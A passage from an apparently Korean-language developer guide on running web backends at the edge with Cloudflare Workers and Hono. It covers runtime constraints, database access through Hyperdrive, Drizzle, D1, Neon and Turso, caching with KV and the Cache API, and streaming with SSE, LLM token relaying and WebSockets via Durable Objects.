waitUntil 을 안 쓰면 뒷작업이 잘립니다. 아이솔레이트는 응답을 보낸 순간 정리 대상이 됩니다. Express 라면 res.json() 뒤에 await sendMail() 을 그냥 둬도 됐지만, 여기서는 waitUntil 에 넣지 않으면 실행이 중단됩니다.

실무에선 이렇게 — 제약을 먼저 확인하세요 🔴 실무

쓸 수 없는 것 · 대체품

Node 에서 하던 것엣지에서는
fs.readFile정적 자산 바인딩 · R2
child_process불가 — 별도 서비스로
TCP 로 Postgres 직결HTTP 드라이버 · Hyperdrive (g08)
setInterval 상주Cron Trigger
메모리 캐시 MapKV · Cache API
인메모리 세션KV · 쿠키(JWT)
sharp 이미지 변환Images 서비스 · 별도 워커
crypto (Node 판)WebCrypto (crypto.subtle)
// 정기 실행 — Express 의 node-cron 자리
// wrangler.jsonc: "triggers": { "crons": ["0 * * * *"] }
export default {
  fetch: app.fetch,
  async scheduled(event: ScheduledController, env: Env, ctx: ExecutionContext) {
    ctx.waitUntil(cleanupExpired(env));
  },
};

로컬 개발 — 어디까지 진짜인가

# ① 기본 — 로컬에서 workerd(실제 엔진)로 돕니다
npx wrangler dev
#   KV · D1 · R2 는 로컬 파일로 흉내 냅니다 (.wrangler/state)
#   → 데이터는 내 컴퓨터에만 있습니다

# ② 진짜 바인딩으로 (운영 데이터를 건드리니 주의)
npx wrangler dev --remote

# ③ 로컬 D1 에 스키마·시드 넣기
npx wrangler d1 execute app --local --file=./schema.sql
npx wrangler d1 execute app --local --command="SELECT * FROM posts"

# ④ 로컬 KV 넣기
npx wrangler kv key put --binding KV --local "hello" "world"
// Vitest 로 워커를 테스트 (실제 workerd 위에서 돕니다) — g11 에서 이어집니다
// vitest.config.ts
import { defineWorkersConfig } from "@cloudflare/vitest-pool-workers/config";
export default defineWorkersConfig({
  test: { poolOptions: { workers: { wrangler: { configPath: "./wrangler.jsonc" } } } },
});
“로컬에서는 되는데 배포하면 안 되는” 사고를 줄이는 법 — wrangler dev 는 실제 엔진을 쓰므로 Node 전용 API 를 쓰면 로컬에서도 똑같이 실패합니다. 이게 큰 장점입니다. 차이가 나는 곳은 주로 바인딩 데이터와 CPU 시간 상한이니 배포 전 --remote 로 한 번은 돌려 보세요.
정리 — Workers 는 컨테이너 없는 실행 모델입니다. wrangler dev · wrangler deploy · wrangler tail 세 명령이면 운영이 되고, 상태는 전부 바인딩(c.env)으로 밖에 둡니다. 잃는 것은 파일 시스템 · 긴 실행 · TCP 직결이고, 그 셋을 어떻게 메우는지가 다음 두 절(g08 · g09)입니다.
EDGE 08

엣지의 제약과 설계 — 잃은 것을 어떻게 메우나

엣지에 올리자마자 겪는 문제는 대개 셋입니다 — 파일이 없다 · DB 에 못 붙는다 · 서버는 가까운데 응답이 더 느리다. 셋 다 원인이 분명하고 해법도 정해져 있습니다.

엣지가 가까워도 DB 가 멀면 소용이 없습니다 사용자 서울 1ms 엣지 워커 서울에서 실행 왕복 180ms × 4회 Postgres 미국 버지니아 같은 요청을 시간축에 올리면 — 엣지까지 1ms, DB 왕복 4번에 720ms 사용자→엣지 1ms — 거의 공짜입니다 엣지→DB 왕복 4회 180ms × 4 = 720ms 전체의 99.9% 0 250 500 750 지연(ms) 엣지에 올려서 아낀 것은 1ms 뿐입니다 — 아낄 곳은 처음부터 오른쪽 막대였습니다 해법 세 가지 ① 왕복을 줄인다 쿼리 4번을 1번으로 조인 · CTE 로 합치기 N+1 을 먼저 없애세요 ② 데이터를 가까이 지역마다 읽기 복제본 KV · Cache API 로 캐시 D1 읽기 복제 · Turso ③ 코드를 DB 옆으로 쓰기 경로는 DB 리전에서 Smart Placement 로 자동 읽기만 엣지에 남깁니다 판단 기준 — 요청 하나에 DB 왕복이 몇 번인가 한 번이면 엣지가 이깁니다. 세 번을 넘으면 DB 옆에 두는 쪽이 거의 항상 빠릅니다
엣지의 이득은 사용자와의 거리에서 나오고, 손해는 데이터와의 거리에서 납니다.

① 실행 시간 — “CPU 시간”이 기준입니다

흔한 오해 : "10초 제한이면 DB 가 3초 걸리는 쿼리는 못 쓰겠네"
사실       : 제한은 대개 'CPU 를 실제로 쓴 시간' 입니다.
             fetch · DB 응답을 기다리는 동안은 CPU 를 안 씁니다.

  ┌─ 요청 시작
  │  0.4ms   요청 파싱 · 라우팅          ← CPU 사용
  │  3200ms  DB 응답 대기               ← CPU 안 씀 (계산 안 됨)
  │  1.1ms   JSON 만들기                ← CPU 사용
  └─ 응답            CPU 합계 1.5ms

★ 그래서 걸리는 것은 '오래 기다리는 작업'이 아니라
  '오래 계산하는 작업' 입니다.
    · 큰 JSON 파싱 · 정렬 · 암호화 반복
    · 이미지 리사이즈 · PDF 렌더
    · 수만 건 루프 돌며 집계
  → 이런 것은 Queue 로 넘기거나 컨테이너 서비스로 분리하세요.
메모리도 함께 봅니다. 아이솔레이트는 보통 128MB 기준입니다. await res.arrayBuffer() 로 큰 파일을 통째로 올리면 바로 넘칩니다. 스트리밍으로 흘려보내는 습관이 필수입니다(g10).

② 파일 시스템이 없다

// ❌ 엣지에서 통째로 안 되는 패턴들
import fs from "node:fs";
const tpl = fs.readFileSync("./templates/mail.html", "utf8");  // 없음
const tmp = "/tmp/upload.bin";                                  // 없음
await sharp(buf).resize(400).toFile("/tmp/thumb.jpg");          // 없음

// ✅ ㉠ 빌드 때 코드 안으로 넣기 (작은 텍스트·설정)
import tpl from "./templates/mail.html";      // 번들러가 문자열로 심습니다

// ✅ ㉡ 정적 자산 바인딩 (Workers Assets)
const res = await c.env.ASSETS.fetch(new URL("/logo.svg", c.req.url));

// ✅ ㉢ 객체 저장소 — 진짜 파일은 여기로 (R2 · S3)
await c.env.BUCKET.put(key, c.req.raw.body, {
  httpMetadata: { contentType: c.req.header("content-type") ?? "" },
});
const obj = await c.env.BUCKET.get(key);
if (!obj) return c.notFound();
return new Response(obj.body, { headers: { etag: obj.httpEtag } });

// ✅ ㉣ 업로드는 아예 서버를 거치지 않기 (사전 서명 URL)
//     브라우저 → R2/S3 직접 업로드. 워커는 URL 만 발급합니다.
㉣ 가 가장 중요합니다. 128MB 메모리와 CPU 상한이 있는 곳에서 파일을 서버로 받아 다시 올리는 구조는 근본적으로 맞지 않습니다. Express 판(🚂 x08·x15)에서 “클라우드 스토리지 직접 업로드”를 권했던 이유가 엣지에서는 선택이 아니라 필수가 됩니다.

③ 커넥션 풀 — 엣지에서 가장 크게 걸리는 벽 🔴 실무

엣지에서는 커넥션 풀을 “내가” 만들 수 없습니다 Node 서버 3대 각각 풀 10개 = 30 Postgres max 100 여유롭습니다 프로세스가 오래 살아 있어서 커넥션을 재사용합니다 아이솔레이트 수백 개 요청마다 새 연결 시도 즉시 max 초과 too many connections TCP + TLS + 인증에만 수십 ms 그마저 재사용이 안 됩니다 해법 — 연결을 “내 쪽에서” 만들지 않습니다 ① HTTP 드라이버 SQL 을 HTTPS 요청으로 Neon · Turso · Supabase PlanetScale · D1 ② 앞단 풀러 Hyperdrive · PgBouncer Supavisor · RDS Proxy 연결 유지는 풀러가 ③ 코드를 DB 옆에 Smart Placement 또는 그냥 컨테이너로 쓰기가 많으면 이쪽 Prisma · TypeORM 을 그대로 올리면 안 되는 이유가 이것입니다 TCP 커넥션 풀을 전제로 만들어졌습니다 — 엣지에서는 HTTP 판 드라이버를 써야 합니다
문제의 정체는 성능이 아니라 “연결을 오래 붙들 주체가 없다”는 것입니다.

Hyperdrive — 기존 Postgres 를 그대로 쓰기

# 이미 운영 중인 Postgres(AWS RDS·GCP 등)를 엣지에서 쓰고 싶을 때
npx wrangler hyperdrive create my-db \
  --connection-string="postgres://user:pw@host:5432/app"

# wrangler.jsonc
#   "hyperdrive": [{ "binding": "HYPERDRIVE", "id": "..." }]
import postgres from "postgres";

app.get("/posts", async (c) => {
  // ★ 연결 문자열만 Hyperdrive 것으로 바꾸면 됩니다
  const sql = postgres(c.env.HYPERDRIVE.connectionString, {
    max: 5, fetch_types: false,          // 엣지에서는 작게
  });
  const rows = await sql`SELECT id, title FROM posts LIMIT 20`;
  c.executionCtx.waitUntil(sql.end());   // ★ 응답 뒤에 정리
  return c.json(rows);
});
Hyperdrive 가 해 주는 일 두 가지 — ① 커넥션을 엣지 쪽에서 미리 만들어 유지해 핸드셰이크를 없애고, ② 읽기 쿼리를 지역 캐시에 담아 왕복 자체를 줄입니다. DB 를 옮기지 않고 엣지로 갈 수 있는 가장 현실적인 길입니다.

Smart Placement — 코드를 데이터 옆으로

// wrangler.jsonc — 한 줄이면 켜집니다
{
  "placement": { "mode": "smart" }
}
[기본 배치]  사용자에게 가장 가까운 도시에서 실행
  서울 사용자 → 서울 워커 → (180ms×4) → 버지니아 DB   = 느림

[스마트 배치] 백엔드 왕복이 많은 워커를 자동으로 DB 근처로 옮김
  서울 사용자 → (180ms×1) → 버지니아 워커 → (1ms×4) DB = 빠름

★ 언제 켜나
   · 요청 하나에 백엔드 호출이 여러 번인 워커 (BFF · 관리자 API)
★ 언제 끄나
   · 캐시·리다이렉트·정적 응답처럼 백엔드를 거의 안 부르는 워커
     (사용자 옆에 있는 게 이득)

번들 크기 = 콜드 스타트

# 배포할 때 크기를 알려 줍니다. 커지면 스냅샷 복원이 느려집니다
npx wrangler deploy --dry-run --outdir dist
du -h dist/index.js

# 줄이는 법
#  · AWS SDK 전체 대신 필요한 클라이언트만 (@aws-sdk/client-s3)
#  · moment → 표준 Intl · Temporal
#  · lodash 전체 → lodash-es 의 개별 함수
#  · 무거운 경로는 await import() 로 지연 (g03)
서브리퀘스트 개수 제한도 있습니다. 워커 하나가 요청 하나를 처리하며 부를 수 있는 fetch·바인딩 호출 수에 상한이 있습니다. 반복문 안에서 API 를 부르는 코드가 여기에 걸립니다 — Promise.all 로 묶는다고 개수가 줄지는 않으니 배치 엔드포인트를 만들거나 Queue 로 넘기세요.
정리 — 엣지의 제약은 세 줄로 요약됩니다. CPU 시간이 기준이라 계산이 무거운 일은 못 하고, 파일 시스템이 없어 객체 저장소로 밀어야 하며, 커넥션 풀을 못 만들어 HTTP 드라이버나 앞단 풀러가 필요합니다. 그리고 가장 자주 놓치는 것 — DB 와의 왕복 횟수가 엣지의 이득을 전부 결정합니다.
EDGE 09

DB 연동 — Drizzle · D1 · Neon · Turso

엣지에서 ORM 을 고르는 기준은 기능이 아니라 “무엇이 번들에 실리고, 어떻게 DB 에 닿느냐”입니다. 이 한 가지로 후보가 절반으로 줄어듭니다.

ORM 이 엣지에서 갈리는 지점 — 무엇이 번들에 실리나 Prisma — 전통 방식 내 코드 — prisma.post.findMany() @prisma/client — 생성된 코드 쿼리 엔진 — 별도 실행 파일 아이솔레이트에는 실행 파일을 못 올립니다 Drizzle 내 코드 — db.select().from(posts) SQL 문자열 생성 — 순수 TS HTTP 드라이버 — fetch 한 번 번들 수십 KB · 어느 런타임에서든 돕니다 Prisma 도 엣지에 갑니다 — Accelerate 나 드라이버 어댑터를 쓰면 쿼리 엔진을 원격에 두거나 커넥션 관리를 어댑터에 맡기는 방식입니다. 대신 한 홉이 늘거나 요금이 붙습니다
엣지 친화적이라는 말은 “실행 파일도, 상주 커넥션도 필요 없다”는 뜻입니다.

Drizzle — 스키마와 마이그레이션

npm i drizzle-orm · npm i -D drizzle-kit
// src/db/schema.ts — SQLite(D1) 기준
import { sqliteTable, text, integer, index } from "drizzle-orm/sqlite-core";
import { relations, sql } from "drizzle-orm";

export const users = sqliteTable("users", {
  id:    text("id").primaryKey(),
  email: text("email").notNull().unique(),
  name:  text("name").notNull(),
  createdAt: integer("created_at", { mode: "timestamp" })
             .notNull().default(sql`(unixepoch())`),
});

export const posts = sqliteTable("posts", {
  id:      text("id").primaryKey(),
  userId:  text("user_id").notNull().references(() => users.id),
  title:   text("title").notNull(),
  views:   integer("views").notNull().default(0),
}, (t) => [ index("posts_user_idx").on(t.userId) ]);

export const usersRel = relations(users, ({ many }) => ({ posts: many(posts) }));
export const postsRel = relations(posts, ({ one }) => ({
  user: one(users, { fields: [posts.userId], references: [users.id] }),
}));

// ★ 타입이 스키마에서 바로 나옵니다 — 따로 적지 않습니다
export type Post    = typeof posts.$inferSelect;
export type NewPost = typeof posts.$inferInsert;
# drizzle.config.ts 에 dialect·schema·out 을 적고
npx drizzle-kit generate      # 스키마 차이를 SQL 마이그레이션으로 뽑습니다
npx drizzle-kit migrate       # 적용 (Postgres·Turso 등)
npx drizzle-kit studio        # 브라우저 DB 뷰어

# D1 은 wrangler 가 마이그레이션을 관리합니다
npx wrangler d1 migrations create app add_posts
npx wrangler d1 migrations apply app --local
npx wrangler d1 migrations apply app --remote     # 운영 적용

쿼리 — SQL 을 아는 사람이 편합니다

import { drizzle } from "drizzle-orm/d1";
import { eq, and, desc, sql, inArray } from "drizzle-orm";
import * as schema from "./schema";

app.get("/posts", async (c) => {
  const db = drizzle(c.env.DB, { schema });      // ★ 요청마다 만들어도 쌉니다

  const rows = await db.select({
      id: schema.posts.id, title: schema.posts.title,
      author: schema.users.name,
    })
    .from(schema.posts)
    .innerJoin(schema.users, eq(schema.posts.userId, schema.users.id))
    .where(and(eq(schema.users.email, "a@b.c"), sql`views > 0`))
    .orderBy(desc(schema.posts.views))
    .limit(20);

  return c.json(rows);
});

// 관계형 조회 — N+1 없이 한 방에 (쿼리 하나로 나갑니다) ★
const withPosts = await db.query.users.findMany({
  where: (u, { eq }) => eq(u.email, "a@b.c"),
  with:  { posts: { limit: 5, orderBy: (p, { desc }) => desc(p.views) } },
});

// 쓰기
await db.insert(schema.posts).values({ id, userId, title }).run();
await db.update(schema.posts).set({ views: sql`views + 1` })
        .where(eq(schema.posts.id, id));
await db.delete(schema.posts).where(inArray(schema.posts.id, ids));

// ★ 엣지에서는 왕복이 곧 비용 — 여러 문장을 한 번에 보냅니다
await c.env.DB.batch([
  c.env.DB.prepare("UPDATE posts SET views = views + 1 WHERE id = ?1").bind(id),
  c.env.DB.prepare("INSERT INTO clicks (post_id) VALUES (?1)").bind(id),
]);
Prisma 에서 오면 낯선 점 — Drizzle 은 SQL 을 감추지 않습니다. select().from().where() 가 그대로 SQL 순서입니다. SQL 을 아는 사람에게는 배울 게 거의 없고, 모른다면 🗄️ DB 가이드를 먼저 보는 편이 빠릅니다.

어디에 데이터를 두나 — 네 가지 후보 🟡 중급

정체강점약점 · 주의
D1Workers 내장 SQLite 바인딩만 하면 끝 · 무료 한도가 넉넉 · 읽기 복제 DB 크기 상한 · 쓰기는 한 곳으로 모임
Neon서버리스 Postgres 진짜 Postgres · HTTP 드라이버 · 브랜치 기능 리전이 멀면 왕복 비용 · 콜드 스타트(스케일 투 제로)
TursolibSQL(SQLite) 분산 지역마다 복제본 · 임베디드 복제로 읽기가 아주 빠름 SQLite 문법 범위 · 쓰기는 주 노드로
SupabasePostgres + 부가 서비스 인증 · 스토리지 · 실시간까지 한 벌 엣지에서는 REST(PostgREST) 나 풀러 경유

Neon — HTTP 드라이버로 붙기

npm i @neondatabase/serverless drizzle-orm
import { neon } from "@neondatabase/serverless";
import { drizzle } from "drizzle-orm/neon-http";

app.get("/posts", async (c) => {
  const sql = neon(c.env.DATABASE_URL);        // ★ TCP 가 아니라 HTTPS 로 나갑니다
  const db  = drizzle(sql, { schema });
  return c.json(await db.select().from(schema.posts).limit(20));
});

// 원시 SQL 도 됩니다
const rows = await sql`SELECT id, title FROM posts WHERE views > ${n}`;

// ★ 여러 문장을 한 왕복에 (HTTP 드라이버의 트랜잭션)
const [a, b] = await sql.transaction([
  sql`UPDATE posts SET views = views + 1 WHERE id = ${id}`,
  sql`INSERT INTO clicks (post_id) VALUES (${id})`,
]);
HTTP 드라이버에는 “대화형 트랜잭션”이 없습니다. BEGIN 해 놓고 결과를 보고 COMMIT 을 정하는 방식은 연결을 붙들고 있어야 가능한데, 그게 안 되기 때문입니다. 해법은 셋 — ① 문장을 배열로 묶어 한 번에 보내기, ② 조건을 SQL 안으로 넣기(UPDATE … WHERE version = ?), ③ 정말 필요하면 WebSocket 드라이버나 컨테이너로 그 경로만 분리.

Turso · Prisma Accelerate

// ① Turso (libSQL) — 지역마다 복제본
import { createClient } from "@libsql/client/web";
import { drizzle } from "drizzle-orm/libsql";

const client = createClient({
  url: c.env.TURSO_URL, authToken: c.env.TURSO_TOKEN,
});
const db = drizzle(client, { schema });
// ② Prisma Accelerate — 기존 Prisma 코드를 거의 그대로
import { PrismaClient } from "@prisma/client/edge";
import { withAccelerate } from "@prisma/extension-accelerate";

const prisma = new PrismaClient({ datasourceUrl: c.env.PRISMA_URL })
  .$extends(withAccelerate());

const posts = await prisma.post.findMany({
  take: 20,
  cacheStrategy: { ttl: 60, swr: 300 },     // ★ 결과 캐시까지 얹어 줍니다
});
// ③ Prisma 드라이버 어댑터 — 쿼리 엔진 없이 (Node·Bun 환경)
import { PrismaPg } from "@prisma/adapter-pg";
const prisma = new PrismaClient({ adapter: new PrismaPg({ connectionString }) });
기존 Prisma 프로젝트를 옮기는 현실적인 순서 — ① 먼저 Accelerate 로 코드를 안 고치고 엣지에 올려 보고, ② 요금이나 홉이 부담되면 Drizzle 로 조금씩 옮깁니다. 둘은 한 프로젝트에 같이 둘 수 있습니다(같은 DB, 다른 클라이언트).

실무에선 이렇게 — 캐시가 절반입니다 🔴 실무

두 종류의 캐시를 구분하세요

// ① Cache API — "이 URL 의 응답"을 그 도시에만 저장 (CDN 캐시)
app.get("/posts/:id", async (c) => {
  const cache = caches.default;
  const key = new Request(c.req.url, { method: "GET" });

  const hit = await cache.match(key);
  if (hit) return hit;                                  // 도시 안에서 즉시 응답

  const res = c.json(await load(c));
  res.headers.set("cache-control", "public, max-age=60");
  c.executionCtx.waitUntil(cache.put(key, res.clone()));  // ★ clone 필수
  return res;
});

// ② KV — "이 데이터"를 전 세계에 복제 (앱 데이터 캐시)
const cached = await c.env.KV.get(`post:${id}`, "json");
if (cached) return c.json(cached);

const post = await db.query.posts.findFirst({ where: eq(posts.id, id) });
c.executionCtx.waitUntil(
  c.env.KV.put(`post:${id}`, JSON.stringify(post), { expirationTtl: 300 }),
);
return c.json(post);

// 무효화 — 쓸 때 지웁니다
await db.update(posts).set({ title }).where(eq(posts.id, id));
await c.env.KV.delete(`post:${id}`);
Cache APIKV
단위HTTP 응답임의의 값
범위그 도시만전 세계 복제
쓰기 반영즉시수십 초 걸릴 수 있음
알맞은 것공개 페이지 · 목록설정 · 세션 · 조회 결과

엣지에서 DB 를 쓰는 다섯 가지 습관

  • 왕복 횟수를 센다 — 요청 하나에 DB 호출이 몇 번인지 로그로 찍어 두세요. 3번이 넘으면 설계가 잘못됐거나 Smart Placement 를 켤 때입니다
  • select() 에 컬럼을 적는다 — 엣지는 전송량도 지연입니다. SELECT * 로 본문 컬럼까지 끌고 오면 목록 API 가 그대로 느려집니다
  • 쓰기 뒤에는 캐시를 지운다 — 지우는 코드를 쓰기와 같은 함수 안에 두세요. 다른 곳에 두면 반드시 어긋납니다
  • 대화형 트랜잭션을 가정하지 않는다 — 재고 차감·잔액 이체 같은 것은 조건부 UPDATE(WHERE stock >= ?)로 바꾸면 한 문장으로 안전해집니다
  • 마이그레이션은 앞뒤 호환으로 — 배포가 순간이 아니라 점진적이라 옛 코드와 새 스키마가 잠깐 공존합니다. 컬럼 추가 → 코드 배포 → 옛 컬럼 삭제 순서로
// 조건부 UPDATE — 트랜잭션 없이 경쟁 조건을 막는 법 ★
const r = await c.env.DB
  .prepare("UPDATE items SET stock = stock - ?1 WHERE id = ?2 AND stock >= ?1")
  .bind(qty, id).run();

if (r.meta.changes === 0)          // 아무 행도 안 바뀌었다 = 재고 부족
  return c.json({ code: "OUT_OF_STOCK" }, 409);
D1 은 아직 “한 곳에서만 쓴다”는 전제가 있습니다. 읽기는 지역 복제본에서 빠르게 나가지만 쓰기는 주 노드로 모입니다. 쓰기가 많은 서비스라면 D1 보다 Postgres + 풀러 조합이 낫고, 아예 컨테이너로 두는 편이 단순할 수도 있습니다(g01 흐름도).
정리 — 엣지 DB 는 세 가지만 정하면 끝납니다. ① 드라이버가 HTTP 인가(TCP 면 풀러가 필요), ② 번들에 실행 파일이 끼는가(Drizzle 은 안 낌), ③ 왕복을 몇 번 하는가(캐시 · 조인 · batch 로 줄이기). 처음이라면 Hono + Drizzle + D1 조합이 설치도 요금도 가장 가볍습니다.
EDGE 10

실시간 · 스트리밍 — 표준 ReadableStream 으로

Express 에서는 res.write() 로 밀어 넣었습니다. 엣지에는 res 가 없으니 스트림을 만들어 Response 에 담아 돌려줍니다. 메모리가 128MB 인 곳에서 몇 GB 응답을 중계할 수 있는 것도 이 덕분입니다.

다 만들어 놓고 보내기 vs 만들어지는 대로 흘려보내기 버퍼링 LLM 이 다 쓸 때까지 기다림 — 3초 동안 빈 화면 한꺼번에 사용자는 이 3초 동안 “멈췄나?” 하고 생각합니다 스트리밍 첫 글자가 0.3초에 도착 — 사용자는 즉시 읽기 시작합니다 LLM API 토큰을 SSE 로 흘림 Hono 워커 ReadableStream 으로 중계 브라우저 받는 대로 그림 워커는 전체를 메모리에 담지 않습니다 — 조각이 지나갈 뿐입니다 엣지에서 스트리밍은 취향이 아니라 생존 방식입니다 메모리 상한과 “응답을 언제 시작했는가” 제한을 동시에 피하는 거의 유일한 방법입니다
체감 속도의 대부분은 총 시간이 아니라 첫 글자가 언제 보이느냐에서 옵니다.

SSE — hono/streaming 이 다 해 줍니다

import { streamSSE } from "hono/streaming";

app.get("/jobs/:id/events", async (c) => {
  return streamSSE(c, async (stream) => {
    // 연결이 끊기면 알려 줍니다 (Express 의 req.on("close") 자리)
    let closed = false;
    stream.onAbort(() => { closed = true; });

    for (let p = 0; p <= 100 && !closed; p += 5) {
      await stream.writeSSE({
        event: "progress",
        id: String(Date.now()),          // 재연결 시 이어받기용
        data: JSON.stringify({ percent: p }),
      });
      await stream.sleep(300);
    }
    await stream.writeSSE({ event: "done", data: "ok" });
  });
});

// 표준만으로 직접 만들면 이런 모양입니다 (Hono 없이도 됩니다)
app.get("/raw-sse", (c) => {
  const enc = new TextEncoder();
  const body = new ReadableStream({
    async start(ctrl) {
      for (let i = 0; i < 5; i++) {
        ctrl.enqueue(enc.encode(`data: ${i}\n\n`));   // \n\n (빈 줄 하나)이 이벤트 끝 표시
        await new Promise((r) => setTimeout(r, 500));
      }
      ctrl.close();
    },
  });
  return new Response(body, {
    headers: { "content-type": "text/event-stream",
               "cache-control": "no-cache" },
  });
});
Express 판(🚂 x13)과 비교하면 — 거기서 필요했던 res.flushHeaders()·X-Accel-Buffering: no· setInterval 로 하던 ping 유지가 대부분 사라집니다. 엣지 플랫폼이 스트림을 버퍼링하지 않기 때문입니다. 다만 중간에 낀 프록시가 있으면 여전히 확인이 필요합니다.

LLM 토큰 중계 — 실전에서 가장 많이 쓰는 형태

// 브라우저에 API 키를 못 주므로 워커가 대신 부르고 흘려보냅니다
app.post("/chat", async (c) => {
  const { messages } = await c.req.json();

  const upstream = await fetch("https://api.example.com/v1/chat", {
    method: "POST",
    headers: { authorization: `Bearer ${c.env.API_KEY}`,
               "content-type": "application/json" },
    body: JSON.stringify({ model: "m", messages, stream: true }),
  });

  if (!upstream.ok || !upstream.body)
    return c.json({ code: "UPSTREAM" }, 502);

  // ★ 가장 단순한 방법 — 몸통을 그대로 넘깁니다 (메모리 0)
  return new Response(upstream.body, {
    headers: { "content-type": "text/event-stream",
               "cache-control": "no-cache" },
  });
});
// 중간에서 손을 대야 한다면 TransformStream 을 끼웁니다
const filter = new TransformStream<Uint8Array, Uint8Array>({
  transform(chunk, ctrl) {
    const text = new TextDecoder().decode(chunk);
    if (text.includes("[[secret]]")) return;      // 걸러내기
    ctrl.enqueue(chunk);
  },
});
return new Response(upstream.body.pipeThrough(filter), { headers });
// 브라우저 쪽 — fetch 의 reader 로 읽습니다
const res = await fetch("/chat", { method: "POST", body });
const reader = res.body!.pipeThrough(new TextDecoderStream()).getReader();
for (;;) {
  const { value, done } = await reader.read();
  if (done) break;
  append(value);                     // 화면에 이어 붙이기
}
스트리밍 중에는 상태 코드를 바꿀 수 없습니다. 헤더는 첫 바이트를 보내는 순간 확정됩니다. 그래서 검증·권한 확인은 반드시 스트림을 열기 전에 끝내야 하고, 도중에 난 에러는 SSE 이벤트(event: error)로 알려야 합니다.

WebSocket — 런타임마다 다릅니다 🔴 실무

Bun · Deno — 익숙한 모양

// ① Bun — serve 안에 websocket 핸들러를 함께 둡니다
Bun.serve({
  port: 3000,
  fetch(req, server) {
    if (new URL(req.url).pathname === "/ws") {
      const ok = server.upgrade(req, { data: { room: "lobby" } });
      return ok ? undefined : new Response("upgrade failed", { status: 400 });
    }
    return app.fetch(req);          // 나머지는 Hono 로
  },
  websocket: {
    open(ws)          { ws.subscribe("lobby"); },      // ★ 내장 pub/sub
    message(ws, msg)  { ws.publish("lobby", String(msg)); },
    close(ws)         { ws.unsubscribe("lobby"); },
  },
});
// ② Deno — 표준 업그레이드 API
Deno.serve((req) => {
  if (req.headers.get("upgrade") === "websocket") {
    const { socket, response } = Deno.upgradeWebSocket(req);
    socket.onmessage = (e) => socket.send(`echo: ${e.data}`);
    return response;
  }
  return app.fetch(req);
});
Hono 에는 공용 헬퍼도 있습니다 — @hono/node-ws·hono/bun·hono/deno 의 upgradeWebSocket 을 쓰면 라우트처럼 적을 수 있어 런타임 간 코드 차이가 더 줄어듭니다.

Workers — Durable Objects 가 필요합니다

// 아이솔레이트는 요청마다 다른 곳에서 뜨므로 "연결을 붙들 주인"이 필요합니다.
// Durable Object 는 이름(키)마다 인스턴스가 하나뿐임이 보장됩니다 ★
export class Room implements DurableObject {
  constructor(private state: DurableObjectState, private env: Env) {}

  async fetch(req: Request) {
    const pair = new WebSocketPair();
    const [client, server] = Object.values(pair);

    // ★ 하이버네이션 — 메시지가 없는 동안 메모리에서 내려갑니다 (요금 절약)
    this.state.acceptWebSocket(server);

    return new Response(null, { status: 101, webSocket: client });
  }

  async webSocketMessage(ws: WebSocket, msg: string) {
    for (const peer of this.state.getWebSockets()) peer.send(msg);   // 방 전체에
  }
  async webSocketClose(ws: WebSocket) { /* 정리 */ }
}

// 라우트에서 방 이름으로 인스턴스를 찾아 넘깁니다
app.get("/room/:name", (c) => {
  const id = c.env.ROOM.idFromName(c.req.param("name"));
  return c.env.ROOM.get(id).fetch(c.req.raw);
});
Express + Redis Pub/Sub 구조(🚂 x13)가 통째로 사라집니다. 거기서는 서버가 2대가 되는 순간 알림이 절반만 가는 문제를 Redis 로 메웠습니다. Durable Objects 는 “방 하나 = 인스턴스 하나”가 플랫폼 차원에서 보장되므로 메시지를 뿌릴 중개자가 아예 필요 없습니다. 대신 그 인스턴스가 있는 도시가 병목이 될 수 있습니다.

무엇을 고를 것인가

필요한 것고를 것
진행률 · 알림 · 로그 꼬리SSE — 브라우저가 재연결까지 해 줍니다
LLM 답변 흘리기스트리밍 응답 (SSE 또는 그냥 chunked)
큰 파일 내려주기Response(stream) — R2 몸통을 그대로
채팅 · 협업 커서WebSocket + Durable Objects
양방향인데 지연은 관대SSE + 평범한 POST 조합
// 큰 파일 — R2 의 몸통을 그대로 넘깁니다 (메모리에 안 올림)
app.get("/files/:key", async (c) => {
  const obj = await c.env.BUCKET.get(c.req.param("key"));
  if (!obj) return c.notFound();
  return new Response(obj.body, {
    headers: {
      "content-type": obj.httpMetadata?.contentType ?? "application/octet-stream",
      "content-length": String(obj.size),
      etag: obj.httpEtag,
    },
  });
});

스트리밍에서 실제로 겪는 문제

  • 느린 클라이언트 — 지하철에 들어간 사용자에게 계속 밀어 넣으면 큐가 쌓입니다. ReadableStream 은 역압(backpressure) 을 알아서 걸어 주지만, 내가 만든 원본(setInterval 등)은 스스로 멈춰야 합니다
  • 끊김 감지 — stream.onAbort() 나 c.req.raw.signal.aborted 를 확인하지 않으면 아무도 안 듣는 응답을 계속 만듭니다 (CPU 시간이 그대로 요금)
  • 놓친 것 메우기 — 재연결 직후 Last-Event-ID 헤더를 읽어 그 뒤부터 보내세요. 이걸 안 하면 화면이 조용히 어긋납니다
  • 버퍼링하는 중간 장비 — 회사 프록시·일부 CDN 설정이 응답을 모읍니다. cache-control: no-transform 을 붙여 두면 대부분 해결됩니다
  • 실행 시간 상한 — 엣지의 요청은 영원히 살지 않습니다. 장시간 연결은 Durable Objects 로 옮기거나 주기적으로 재연결하게 설계하세요
// 끊김 감지 — 안 하면 요금이 샙니다
app.get("/tail", (c) => streamSSE(c, async (stream) => {
  const signal = c.req.raw.signal;
  while (!signal.aborted) {
    await stream.writeSSE({ data: await nextLine() });
  }
}));
먼저 SSE 로 만들어 보세요. “채팅을 만들 건데요”라도 보내는 쪽은 평범한 POST, 받는 쪽만 SSE 로 시작하면 Durable Objects 없이 하루면 됩니다. 지연이 정말 중요할 때만 WebSocket 으로 올라가면 됩니다.
정리 — 엣지의 실시간은 표준 스트림 하나로 통합니다. 단방향이면 streamSSE, 중계면 upstream.body 를 그대로, 양방향이면 WebSocket(Workers 는 Durable Objects) 입니다. 그리고 어떤 경우든 끊김을 감지해 멈추는 코드를 반드시 함께 두세요 — 그게 곧 요금입니다.
EDGE 11

테스트 · 관측 — 서버를 띄우지 않고, 프로세스도 없이

Hono 앱은 “Request 를 받아 Response 를 돌려주는 함수”입니다. 그래서 테스트가 함수 호출이 됩니다 — 포트도, 정리 코드도, 기다림도 없습니다. 대신 운영에서는 붙을 프로세스가 없어 관측 방식이 완전히 달라집니다.

